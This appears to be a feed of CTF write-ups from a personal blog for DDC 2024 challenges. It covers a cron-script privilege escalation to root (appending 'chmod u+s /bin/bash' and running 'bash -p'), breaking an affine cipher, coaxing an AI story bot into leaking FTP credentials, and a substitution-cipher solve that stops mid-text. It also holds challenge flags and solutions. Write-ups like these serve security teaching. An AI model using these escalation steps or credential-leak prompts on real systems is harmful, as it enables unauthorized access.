</span></span><span style="display:flex;"><span>cat flag.txt
</span></span><span style="display:flex;"><span>DDC{B2iZ71MHnxTV0oaMDWZDsm2Qr}
</span></span></code></pre></div>]]></content></item><item><title>DDC 2024 Regionals - Cron my tab</title><link>https://osiriz.dev/posts/2024/04/ddc-2024-regionals-cron-my-tab/</link><pubDate>Wed, 24 Apr 2024 11:00:00 +0200</pubDate><guid>https://osiriz.dev/posts/2024/04/ddc-2024-regionals-cron-my-tab/</guid><description>We are told that we can login over ssh at crontab.hkn using the username:password pair doomguy:doomguysEcReTpAsSwOrD, and to run tail -f read.sh.log. Logging in we are also told that crontab is running /etc/read.sh.
So lets check the crontab, checking in /etc/cron.d/ we find execute-cron containing the line:
* * * * * /etc/read.sh &amp;gt;&amp;gt; /home/doomguy/read.sh.log So the /etc/read.sh script is run every minute, lets check the permissions on the script:</description><content type="html"><![CDATA[<p>We are told that we can login over <code>ssh</code> at <code>crontab.hkn</code> using the username:password pair <code>doomguy:doomguysEcReTpAsSwOrD</code>, and to run <code>tail -f read.sh.log</code>. Logging in we are also told that <code>crontab</code> is running <code>/etc/read.sh</code>.</p>
<p>So lets check the <code>crontab</code>, checking in <code>/etc/cron.d/</code> we find <code>execute-cron</code> containing the line:</p>
<pre tabindex="0"><code class="language-cron" data-lang="cron">* * * * * /etc/read.sh &gt;&gt; /home/doomguy/read.sh.log
</code></pre><p>So the <code>/etc/read.sh</code> script is run every minute, lets check the permissions on the script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ls -l /etc/read.sh
</span></span><span style="display:flex;"><span>---x-w---- 1 root root-traverse 50 Apr 13 22:37 /etc/read.sh
</span></span></code></pre></div><p>Hmm&hellip; we cant read the file, the group on the file is <code>root-traverse</code> and can have write permissions, are we in the <code>root-traverse</code> group?</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ groups
</span></span><span style="display:flex;"><span>doomguy root-traverse
</span></span></code></pre></div><p>Yes, we are, so lets insert a command to let us become <code>root</code>, for this I chose to set the suid bit on <code>/bin/bash</code> so I could become <code>root</code> using <code>/bin/bash -p</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ echo <span style="color:#e6db74">&#34;chmod u+s /bin/bash&#34;</span> &gt;&gt; /etc/read.sh
</span></span></code></pre></div><p>And then waiting a minute, we see that <code>/bin/bash</code> has the suid bit set and we become <code>root</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ls -l /bin/bash
</span></span><span style="display:flex;"><span>-rwsr-xr-x 1 root root 1437832 Jan  7  2023 /bin/bash
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ /bin/bash -p
</span></span><span style="display:flex;"><span># cd /root
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># ls
</span></span><span style="display:flex;"><span>844bed697a9db4fd6a6aa5178cd2123flag.txt  hehe.txt
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span># cat 844bed697a9db4fd6a6aa5178cd2123flag.txt
</span></span><span style="display:flex;"><span>DDC{v3ry-funny-cr0n-j0b}
</span></span></code></pre></div>]]></content></item><item><title>DDC 2024 Qualification - Affinity</title><link>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-affinity/</link><pubDate>Mon, 18 Mar 2024 08:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-affinity/</guid><description>We are given the following file:
affinity.zip The task description introduces the affine cipher that works by encrypting cleartext x to ciphertext y in the following way: y = (ax + b) mod m for some constants a, b and m.
We can see this in the gen.py script:
#!/usr/bin/env python from math import gcd import random import binascii # Encrypt the text using the affine cipher y = (ax + b) mod m def affine_encrypt(text, a, b, m): result = 0 for letter in text: c = (a * letter + b) % m result = (result &amp;lt;&amp;lt; 8) + c return hex(result) # Generate keys for the affine cipher and encrypt the flag if __name__ == &amp;#39;__main__&amp;#39;: with open(&amp;#39;flag.</description><content type="html"><![CDATA[<p>We are given the following file:</p>
<ul>
<li><a href="https://filehost.osiriz.xyz/homepage/files/ddc2024/affinity/affinity.zip">affinity.zip</a></li>
</ul>
<p>The task description introduces the <code>affine cipher</code> that works by encrypting cleartext <code>x</code> to ciphertext <code>y</code> in the following way: <code>y = (ax + b) mod m</code> for some constants <code>a</code>, <code>b</code> and <code>m</code>.</p>
<p>We can see this in the <code>gen.py</code> script:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> math <span style="color:#f92672">import</span> gcd
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> random
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> binascii
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Encrypt the text using the affine cipher y = (ax + b) mod m</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">affine_encrypt</span>(text, a, b, m):
</span></span><span style="display:flex;"><span>    result <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> letter <span style="color:#f92672">in</span> text:
</span></span><span style="display:flex;"><span>        c <span style="color:#f92672">=</span> (a <span style="color:#f92672">*</span> letter <span style="color:#f92672">+</span> b) <span style="color:#f92672">%</span> m
</span></span><span style="display:flex;"><span>        result <span style="color:#f92672">=</span> (result <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">+</span> c
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> hex(result)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Generate keys for the affine cipher and encrypt the flag</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;flag.txt&#39;</span>, <span style="color:#e6db74">&#39;rb&#39;</span>) <span style="color:#66d9ef">as</span> file:
</span></span><span style="display:flex;"><span>        plaintext <span style="color:#f92672">=</span> file<span style="color:#f92672">.</span>read()<span style="color:#f92672">.</span>strip(<span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    m <span style="color:#f92672">=</span> <span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span>    a <span style="color:#f92672">=</span> random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">1</span>, m)
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">while</span> gcd(a, m) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>        a <span style="color:#f92672">=</span> random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">1</span>, m)
</span></span><span style="display:flex;"><span>    b <span style="color:#f92672">=</span> random<span style="color:#f92672">.</span>randint(<span style="color:#ae81ff">0</span>, m)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;Key = </span><span style="color:#e6db74">{</span>(a, b)<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span>)
</span></span><span style="display:flex;"><span>    ciphertext <span style="color:#f92672">=</span> affine_encrypt(plaintext, a, b, m)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">with</span> open(<span style="color:#e6db74">&#39;output.txt&#39;</span>, <span style="color:#e6db74">&#39;w&#39;</span>) <span style="color:#66d9ef">as</span> file:
</span></span><span style="display:flex;"><span>        file<span style="color:#f92672">.</span>write(ciphertext)
</span></span></code></pre></div><p>We are also given the hex ciphertext in <code>output.txt</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>0xe9e962ea422bdc1d39965e2b341de5dc260f5050c9b2260f960f016c0f50342b6c39dcf8
</span></span></code></pre></div><p>We can notice that the ciphertext starts with <code>e9e962</code> which would map the the flag prefix of <code>DDC</code>, so lets find constants <code>a</code> and <code>b</code> that satisfice this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> math <span style="color:#f92672">import</span> gcd
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>m <span style="color:#f92672">=</span> <span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span>ciphertext <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#39;e9e962&#39;</span>)
</span></span><span style="display:flex;"><span>crib <span style="color:#f92672">=</span> <span style="color:#e6db74">b</span><span style="color:#e6db74">&#39;DDC&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> a <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">1</span>, m<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>):
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> gcd(a, m) <span style="color:#f92672">!=</span> <span style="color:#ae81ff">1</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">for</span> b <span style="color:#f92672">in</span> range(<span style="color:#ae81ff">0</span>, m<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>):
</span></span><span style="display:flex;"><span>    candidate <span style="color:#f92672">=</span> <span style="color:#66d9ef">True</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> y, x <span style="color:#f92672">in</span> zip(ciphertext, crib):
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (a <span style="color:#f92672">*</span> y <span style="color:#f92672">+</span> b) <span style="color:#f92672">%</span> m <span style="color:#f92672">!=</span> x:
</span></span><span style="display:flex;"><span>        candidate <span style="color:#f92672">=</span> <span style="color:#66d9ef">False</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> candidate: print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Pair found: (</span><span style="color:#e6db74">{</span>a<span style="color:#e6db74">}</span><span style="color:#e6db74">, </span><span style="color:#e6db74">{</span>b<span style="color:#e6db74">}</span><span style="color:#e6db74">)&#34;</span>)
</span></span></code></pre></div><p>When we run this we get <code>Pair found: (55, 53)</code></p>
<p>We can then decrypt the cipher in the following way:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>m <span style="color:#f92672">=</span> <span style="color:#ae81ff">256</span>
</span></span><span style="display:flex;"><span>a <span style="color:#f92672">=</span> <span style="color:#ae81ff">55</span>
</span></span><span style="display:flex;"><span>b <span style="color:#f92672">=</span> <span style="color:#ae81ff">53</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>cipher <span style="color:#f92672">=</span> bytes<span style="color:#f92672">.</span>fromhex(<span style="color:#e6db74">&#39;e9e962ea422bdc1d39965e2b341de5dc260f5050c9b2260f960f016c0f50342b6c39dcf8&#39;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">for</span> c <span style="color:#f92672">in</span> cipher:
</span></span><span style="display:flex;"><span>  d <span style="color:#f92672">=</span> (a <span style="color:#f92672">*</span> c <span style="color:#f92672">+</span> b) <span style="color:#f92672">%</span> m
</span></span><span style="display:flex;"><span>  result <span style="color:#f92672">=</span> (result <span style="color:#f92672">&lt;&lt;</span> <span style="color:#ae81ff">8</span>) <span style="color:#f92672">+</span> d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print(hex(result))
</span></span></code></pre></div><p>Which gives us: <code>0x4444437b63727970746f6772617068795f6e656564735f6e6f6e6c696e6561726974797d</code> which from hex gives is <code>DDC{cryptography_needs_nonlinearity}</code>.</p>
]]></content></item><item><title>DDC 2024 Qualification - Campfire Stories</title><link>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-campfire-stories/</link><pubDate>Mon, 18 Mar 2024 08:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-campfire-stories/</guid><description>We are given the website campfire-stories.hkn which looks like this: We can write the beginning of a story and the AI will continue it for us.
Looking at robots.txt we get:
# https://www.robotstxt.org/robotstxt.html # Maybe we should not train on company data? # Could our ftp credentials be leaked by the AI? # Probably not a problem. Nobody writes stories about ftp anyway # datacenter.campfire-stories.hkn should still be safe right? User-agent: * Disallow: / Allow: /$ Allow: /share/* Allow: /images/* Allow: /static/* Which seems to suggest that the AI bot can leak the ftp credentials, so let&amp;rsquo;s try: Convert Z3B0OTAwMA== from base64 gives us gpt9000, so lets login to datacenter.</description><content type="html"><![CDATA[<p>We are given the website <code>campfire-stories.hkn</code> which looks like this:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/campfire_stories/front.png"  class="center"  />

</p>
<p>We can write the beginning of a story and the AI will continue it for us.</p>
<p>Looking at <code>robots.txt</code> we get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span># https://www.robotstxt.org/robotstxt.html
</span></span><span style="display:flex;"><span># Maybe we should not train on company data?
</span></span><span style="display:flex;"><span># Could our ftp credentials be leaked by the AI?
</span></span><span style="display:flex;"><span># Probably not a problem. Nobody writes stories about ftp anyway
</span></span><span style="display:flex;"><span># datacenter.campfire-stories.hkn should still be safe right?
</span></span><span style="display:flex;"><span>User-agent: *
</span></span><span style="display:flex;"><span>Disallow: /
</span></span><span style="display:flex;"><span>Allow: /$
</span></span><span style="display:flex;"><span>Allow: /share/*
</span></span><span style="display:flex;"><span>Allow: /images/*
</span></span><span style="display:flex;"><span>Allow: /static/*
</span></span></code></pre></div><p>Which seems to suggest that the AI bot can leak the ftp credentials, so let&rsquo;s try:

    <img src="https://filehost.osiriz.xyz/homepage/img/ddc2024/campfire_stories/ftp_creds.png"  class="center"  />

</p>
<p>Convert <code>Z3B0OTAwMA==</code> from base64 gives us <code>gpt9000</code>, so lets login to <code>datacenter.campfire-stories.hkn</code> and get the file:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ ftp datacenter.campfire-stories.hkn
</span></span><span style="display:flex;"><span>Connected to datacenter.campfire-stories.hkn.
</span></span><span style="display:flex;"><span>220 pyftpdlib 1.5.9 ready.
</span></span><span style="display:flex;"><span>Name (datacenter.campfire-stories.hkn:haaukins): admin
</span></span><span style="display:flex;"><span>331 Username ok, send password.
</span></span><span style="display:flex;"><span>Password:
</span></span><span style="display:flex;"><span>230 Login successful.
</span></span><span style="display:flex;"><span>Remote system type is UNIX.
</span></span><span style="display:flex;"><span>Using binary mode to transfer files.
</span></span><span style="display:flex;"><span>ftp&gt; ls
</span></span><span style="display:flex;"><span>229 Entering extended passive mode (|||21011|).
</span></span><span style="display:flex;"><span>125 Data connection already open. Transfer starting.
</span></span><span style="display:flex;"><span>-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
</span></span><span style="display:flex;"><span>226 Transfer complete.
</span></span><span style="display:flex;"><span>ftp&gt; get train.txt
</span></span><span style="display:flex;"><span>local: train.txt remote: train.txt
</span></span><span style="display:flex;"><span>229 Entering extended passive mode (|||21003|).
</span></span><span style="display:flex;"><span>125 Data connection already open. Transfer starting.
</span></span><span style="display:flex;"><span>100% |***********************************| 21975 KiB   98.79 MiB/s    00:00 ETA
</span></span><span style="display:flex;"><span>226 Transfer complete.
</span></span><span style="display:flex;"><span>22502646 bytes received in 00:00 (98.62 MiB/s)
</span></span><span style="display:flex;"><span>ftp&gt; exit
</span></span><span style="display:flex;"><span>221 Goodbye.
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>$ grep <span style="color:#e6db74">&#34;DDC{&#34;</span> train.txt
</span></span><span style="display:flex;"><span>DDC{Im-happy-Dave-I-see-you-found-the-flag}
</span></span></code></pre></div>]]></content></item><item><title>DDC 2024 Qualification - They See Me Subbin, They Hating</title><link>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-they-see-me-subbin-they-hating/</link><pubDate>Mon, 18 Mar 2024 08:00:00 +0100</pubDate><guid>https://osiriz.dev/posts/2024/03/ddc-2024-qualification-they-see-me-subbin-they-hating/</guid><description>We are given the following text:
alojsgegvly uqecm teag jvayva regnqllo gqeahvyu uqmegkw ueomd cmd redmd cvdalzmq dgqmeo bnvkdg p ylzmkgw eyekwdg jqvmdg zmqpmvanyvd jqmddsqm dvmomyd nqd od djed nezm on alcmd djlhm uvqk mijlqgd danlkeqdnvjd oeysteagsqvyu zmqrek blqhmqd rllk dnm aloovggmc gmqqvglqvmd cvuvgek vytksmyamc gnlodly rmggw dvuy glgekkw alydgeygkw qloeygva gmqo bvyud uqmmam oegg avekvd tmmd djmavtw clyekc eqod xsm ueooe jkewvyu olcvtw be mkdm jsojd qeqm gnsycmq tklbd neo nsyg reahsj evqjkeym alzmqd jqltmddlq tklwc dgvah zmyclqd teqovyu umygkmoey qmmt jeg tedgmq qmjkvaegvly uorn qlahmg ymbeqh euvyu dgeqdomqaneyg fscuomyg yly lqek gnmge qmomormq aml cmakeqegvly ecmxsegm bvkckvtm eolsyg qu csyaey rmccvyu yk oeqgvy ecovyvdgqeglq ywkly klbd vyaksdvly uvd dmmd vygmqmdgvyu cmdgqlw aljvmc hegvm jljskegvlyd bvtm jqldglqmd bednmq dmaglq jeqgd vygmqdgegm ljg dlqg jmqtmagkw migmydvlyd osdgeyu dmmhmq vgmo dmovyeq gqeyddmisek eaamdd dvuyvtvaeyg dhvj dsjmqzvdlq olgnmq qmcsavyu ovcyvung rkmdd qeo dglqmc neqcalzmq jqlamcsqmd oeg mieojkmd egoldjnmqva evqkvym vygmqmdgmc qmecd mojklw vytqvyumomyg qmjkeamc amygqm qlde hvkkmc av gsrm gmyc gdsyeov owmqd ieyei kvdg oewlq gvggmy bnvkdg aneyamkklq oevygevyd avqasodgeyamd qekmvun kvervkvgw olydgmq rqectlqc omedsqmomyg jwgnly zmumgeqvey eygnqljlkluw uvzm vygmycmc rq aegd ecc djlqgd qecvegvly dezmc jqlzvyavek laasqd gei daqvjgvyu kmggmq gqezmkmq eodgmqceo aneormq acg aneqeagmqd qmomormqmc gqmedsqmq oevkgl eczmqgvdvyu cmah ae bmc qmdvcmyg anqlyvakm dgmjd yezw sqrey rqmedg olqek mijldsqm lsung omedsqm kvyh alytvusqmc clyegm jskk vytmagvlyd rh djmavekd cllqd dmkkvyu qmjqmdmygegvly ovysd gmkmjnlyw alksoyd dmkkd mimasgvzmd deo alqqmdjlycvyu qvah glkmqeyam tlaek fmttqmw tmegsqmc rsggly glsanmc rwgm cegm dsrkvom oo gneyhduvzvyu tvggmc oedly jmymgqegvly clomdgva tlasd aeojd djmyamq gtg rkmdd key ezlvcvyu bmmhmyc eumc reqqvmqd rsah dvoskegvly rklu alygvymyg eczlaegm bmkdn zmqrek bnldm bvkmw alljmqegvzm gvomkvym asdglovpmc jlsq eddsojgvlyd rklahd ca mdgegmd jsqdsm nggj jkeamc mqqlq omcvaek ecljgvly aeko ejjqlean ueovyu lqcvyeqw dlomgnvyu oegmqvek aedsek keor eylywolsd ymvunrlq dbvganmd sb bmkkd alygmyg qmovyc yevkd nvunmdg qeyumqd aekkvyu nekt rh teggw mijl jlkvdnmc desam dgscvmc gneyhd cmolydgqegm nlrrw et yehmc qmtmqmyamd vyclymdve mcvyrsqun aneqgd qlrsdg qmfmagmc dgeqd neydmy rllo miamdd ajs tvko zvlkmyam rsd jkewreah clomdgva om jmyekgvmd gqvzve uqlzm qvungd cqso sycmqdgeyc bnmqmed alojsgegvlyek laasjvmc lqvmygek oequvy rlysd mijkvavg alyt ekvzm ymbaedgkm ymmcmc vyhfmg jsrkvdnmq qmyevddeyam ekgmqyegvzmkw jsr dsrfmagvzm jlvyg lsq gre uylom cwyeovad uvqkd alkkmagmc anqvdgveyvgw eyekwpm bekkeam alek gqeydvgvly tvung mijmycvgsqm olglqawakm jdwanlkluvaek by deqen qeavek dgljd alygeagvyu jqevqvm tvdnvyu yshm keah uqed kmet aejvglk jct mygqvmd eqmye umluqejnw jsppkmd cvdymw eqvdm db mzeksegmc rmqhmkmw vycveye migmydvlyd myclqdmc alydmqzegvly ovyvoso yskk clm escvg dedheganmbey ymbdjejmqd odu anmahmc alyamqg dc vygqlcsamc teag anequmq eyylsyam ed rklu CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl} The last part (CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}) seems to be the encrypted flag, from the title we can guess that this is a substitution cipher.</description><content type="html"><![CDATA[<p>We are given the following text:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>alojsgegvly uqecm teag jvayva regnqllo gqeahvyu uqmegkw ueomd cmd redmd cvdalzmq dgqmeo bnvkdg p ylzmkgw eyekwdg jqvmdg zmqpmvanyvd jqmddsqm dvmomyd nqd od djed nezm on alcmd djlhm uvqk mijlqgd danlkeqdnvjd oeysteagsqvyu zmqrek blqhmqd rllk dnm aloovggmc gmqqvglqvmd cvuvgek vytksmyamc gnlodly rmggw dvuy glgekkw alydgeygkw qloeygva gmqo bvyud uqmmam oegg avekvd tmmd djmavtw clyekc eqod xsm ueooe jkewvyu olcvtw be mkdm jsojd qeqm gnsycmq tklbd neo nsyg reahsj evqjkeym alzmqd jqltmddlq tklwc dgvah zmyclqd teqovyu umygkmoey qmmt jeg tedgmq qmjkvaegvly uorn qlahmg ymbeqh euvyu dgeqdomqaneyg fscuomyg yly lqek gnmge qmomormq aml cmakeqegvly ecmxsegm bvkckvtm eolsyg qu csyaey rmccvyu yk oeqgvy ecovyvdgqeglq ywkly klbd vyaksdvly uvd dmmd vygmqmdgvyu cmdgqlw aljvmc hegvm jljskegvlyd bvtm jqldglqmd bednmq dmaglq jeqgd vygmqdgegm ljg dlqg jmqtmagkw migmydvlyd osdgeyu dmmhmq vgmo dmovyeq gqeyddmisek eaamdd dvuyvtvaeyg dhvj dsjmqzvdlq olgnmq qmcsavyu ovcyvung rkmdd qeo dglqmc neqcalzmq jqlamcsqmd oeg mieojkmd egoldjnmqva evqkvym vygmqmdgmc qmecd mojklw vytqvyumomyg qmjkeamc amygqm qlde hvkkmc av gsrm gmyc gdsyeov owmqd ieyei kvdg oewlq gvggmy bnvkdg aneyamkklq oevygevyd avqasodgeyamd qekmvun kvervkvgw olydgmq rqectlqc omedsqmomyg jwgnly zmumgeqvey eygnqljlkluw uvzm vygmycmc rq aegd ecc djlqgd qecvegvly dezmc jqlzvyavek laasqd gei daqvjgvyu kmggmq gqezmkmq eodgmqceo aneormq acg aneqeagmqd qmomormqmc gqmedsqmq oevkgl eczmqgvdvyu cmah ae bmc qmdvcmyg anqlyvakm dgmjd yezw sqrey rqmedg olqek mijldsqm lsung omedsqm kvyh alytvusqmc clyegm jskk vytmagvlyd rh djmavekd cllqd dmkkvyu qmjqmdmygegvly ovysd gmkmjnlyw alksoyd dmkkd mimasgvzmd deo alqqmdjlycvyu qvah glkmqeyam tlaek fmttqmw tmegsqmc rsggly glsanmc rwgm cegm dsrkvom oo gneyhduvzvyu tvggmc oedly jmymgqegvly clomdgva tlasd aeojd djmyamq gtg rkmdd key ezlvcvyu bmmhmyc eumc reqqvmqd rsah dvoskegvly rklu alygvymyg eczlaegm bmkdn zmqrek bnldm bvkmw alljmqegvzm gvomkvym asdglovpmc jlsq eddsojgvlyd rklahd ca mdgegmd jsqdsm nggj jkeamc mqqlq omcvaek ecljgvly aeko ejjqlean ueovyu lqcvyeqw dlomgnvyu oegmqvek aedsek keor eylywolsd ymvunrlq dbvganmd sb bmkkd alygmyg qmovyc yevkd nvunmdg qeyumqd aekkvyu nekt rh teggw mijl jlkvdnmc desam dgscvmc gneyhd cmolydgqegm nlrrw et yehmc qmtmqmyamd vyclymdve mcvyrsqun aneqgd qlrsdg qmfmagmc dgeqd neydmy rllo miamdd ajs tvko zvlkmyam rsd jkewreah clomdgva om jmyekgvmd gqvzve uqlzm qvungd cqso sycmqdgeyc bnmqmed alojsgegvlyek laasjvmc lqvmygek oequvy rlysd mijkvavg alyt ekvzm ymbaedgkm ymmcmc vyhfmg jsrkvdnmq qmyevddeyam ekgmqyegvzmkw jsr dsrfmagvzm jlvyg lsq gre uylom cwyeovad uvqkd alkkmagmc anqvdgveyvgw eyekwpm bekkeam alek gqeydvgvly tvung mijmycvgsqm olglqawakm jdwanlkluvaek by deqen qeavek dgljd alygeagvyu jqevqvm tvdnvyu yshm keah uqed kmet aejvglk jct mygqvmd eqmye umluqejnw jsppkmd cvdymw eqvdm db mzeksegmc rmqhmkmw vycveye migmydvlyd myclqdmc alydmqzegvly ovyvoso yskk clm escvg dedheganmbey ymbdjejmqd odu anmahmc alyamqg dc vygqlcsamc teag anequmq eyylsyam ed rklu CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}
</span></span></code></pre></div><p>The last part (<code>CCA{bmkalom_gl_cca_gbmygw_gbmygw_tlsq_kmgd_cl_dlom_aqwjgl}</code>) seems to be the encrypted flag, from the title we can guess that this is a substitution cipher.</p>
<p>We can already see that <code>C-&gt;D</code> and <code>A-&gt;C</code> from the fact that the flag format is <code>DDC{&lt;text&gt;}</code>. We can solve the rest of the substitutions either by slowly by hand or use one of the many autosolvers that exist on the internet. In this case i am using <a href="https://www.guballa.de/substitution-solver">guballa.de</a>.</p>
<p>We thrus get:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>computation grade fact picnic bathroom tracking greatly games des bases discover stream whilst z novelty analyst priest verzeichnis pressure siemens hrs ms spas have mh codes spoke girl exports scholarships manufacturing verbal workers bool she committed territories digital influenced thomson betty sign totally constantly romantic term wings greece matt cialis fees specify donald arms que gamma playing modify wa else pumps rare thunder flows ham hunt backup airplane covers professor floyd stick vendors farming gentleman reef pat faster replication gmbh rocket newark aging starsmerchant judgment non oral theta remember ceo declaration adequate wildlife amount rg duncan bedding nl martin administrator nylon lows inclusion gis sees interesting destroy copied katie populations wife prostores washer sector parts interstate opt sort perfectly extensions mustang seeker item seminar transsexual access significant skip supervisor mother reducing midnight bless ram stored hardcover procedures mat examples atmospheric airline interested reads employ infringement replaced centre rosa killed ci tube tend tsunami myers xanax list mayor titten whilst chancellor maintains circumstances raleigh liability monster bradford measurement python vegetarian anthropology give intended br cats add sports radiation saved provincial occurs tax scripting letter traveler amsterdam chamber cdt characters remembered treasurer mailto advertising deck ca wed resident chronicle steps navy urban breast moral exposure ought measure link configured donate pull infections bk specials doors selling representation minus telephony columns sells executives sam corresponding rick tolerance focal jeffrey featured button touched byte date sublime mm thanksgiving fitted mason penetration domestic focus camps spencer tft bless lan avoiding weekend aged barriers buck simulation blog continent advocate welsh verbal whose wiley cooperative timeline customized pour assumptions blocks dc estates pursue http placed error medical adoption calm approach gaming ordinary something material casual lamb anonymous neighbor switches uw wells content remind nails highest rangers calling half bk fatty expo polished sauce studied thanks demonstrate hobby af naked references indonesia edinburgh charts robust rejected stars hansen boom excess cpu film violence bus playback domestic me penalties trivia grove rights drum understand whereas computational occupied oriental margin bonus explicit conf alive newcastle needed inkjet publisher renaissance alternatively pub subjective point our tba gnome dynamics girls collected christianity analyze wallace coal transition fight expenditure motorcycle psychological wn sarah racial stops contacting 